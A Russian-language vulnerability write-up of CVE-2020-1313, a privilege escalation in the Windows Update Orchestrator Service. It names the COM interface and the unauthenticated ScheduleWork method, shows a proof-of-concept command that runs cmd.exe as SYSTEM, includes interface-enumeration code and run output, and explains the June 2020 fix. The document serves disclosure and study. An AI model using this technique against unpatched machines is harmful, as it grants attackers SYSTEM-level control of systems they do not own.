
Эксплойт подтверждения концепции уязвимости повышения привилегий в службе оркестратора обновлений Windows
Служба оркестратора обновлений Windows (Windows Update Orchestrator Service) — это служба DCOM, используемая другими компонентами для установки уже загруженных обновлений Windows. USO была уязвима к повышению привилегий (от любого пользователя до локальной системы) из-за некорректной авторизации вызывающих сторон. Уязвимость затрагивала продукты Windows 10 и Windows Server Core. Исправлено корпорацией Майкрософт в рамках Patch Tuesday июня 2020 года.
Служба UniversalOrchestrator (9C695035-48D2-4229-8B73-4C70E756E519), реализованная в usosvc.dll, работает от имени NT_AUTHORITY\SYSTEM и настроена с правами доступа для BUILTIN\Users (среди прочих). Хотя перечисление COM-классов, реализуемых этой службой, заблокировано (OLEView.NET: Error querying COM interfaces - ClassFactory cannot supply requested class), интерфейс IUniversalOrchestrator (c53f3549-0dbf-429a-8297-c812ba00742d) — как он определён в прокси-определении — можно получить через стандартные вызовы COM API. Экспортируются следующие 3 метода:
virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
Метод ScheduleWork может использоваться для планирования команды, выполняемой в контексте службы, без какой-либо авторизации запрашивающей стороны. Хотя сам целевой исполняемый файл должен быть цифровой подписан и находиться в c:\windows\system32 или общих файлах в Program Files, аргументы командной строки также могут быть заданы. Это позволяет запустить c:\windows\system32\cmd.exe и таким образом получить произвольное выполнение кода в контексте NT_AUTHORITY\SYSTEM, что делает данную проблему локальным повышением привилегий.
Работа «планируется», а не запускается немедленно.
Созданный мной PoC настраивает «работу» с cmdLine c:\windows\system32\cmd.exe и параметрами: /c "whoami > c:\x.txt & whoami /priv >>c:\x.txt"
Выполнение:
C:\111>whoami
desktop-43rnlku\unprivileged
C:\111>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\111>whoami /priv
C:\111>UniversalOrchestratorPrivEscPoc.exe
Obtaining reference to IUniversalOrchestrator
Scheduling work with id 56594
Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.
В реестр добавляется запись о запланированной работе:

Указанная команда выполняется ночью (около 23:20), когда не ожидается взаимодействия с пользователем, либо после истечения 3-дневного SLA.
Когда мне не удалось получить определение интерфейса службы USO с помощью OleView.NET, я создал скрипт для перебора сотен комбинаций CLSID/IID, которые, как я предполагал, будут работать на каком-то уровне. Это выглядело примерно так:
void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)
{
void *ss = NULL;
IID iid;
ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else
HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);
printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");
}
void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)
{
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!
}
...
TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");
TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");
TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");
// ... and hundreds of more
Результатом такого подхода стало:
UniversalOrchestrator IUniversalOrchestrator: WORKING
UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING
UxUpdateManager IUxUpdateManager: WORKING
Затем я приступил к реверс-инжинирингу реализации и обнаружил описанный выше поток.
Microsoft исправила эту проблему в рамках Patch Tuesday июня 2020 года, добавив недостающий вызов API CoImpersonateClient.
Реализация до применения исправления:

Реализация после применения исправления:

Как это помогает? Олицетворение (impersonation) выполняется в начале обработки запроса, поэтому вызовы API для обновления реестра выполняются в контексте безопасности вызывающей стороны. Если у вызывающей стороны нет привилегий на HKEY_LOCAL_MACHINE, метод USO API завершится ошибкой.
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1313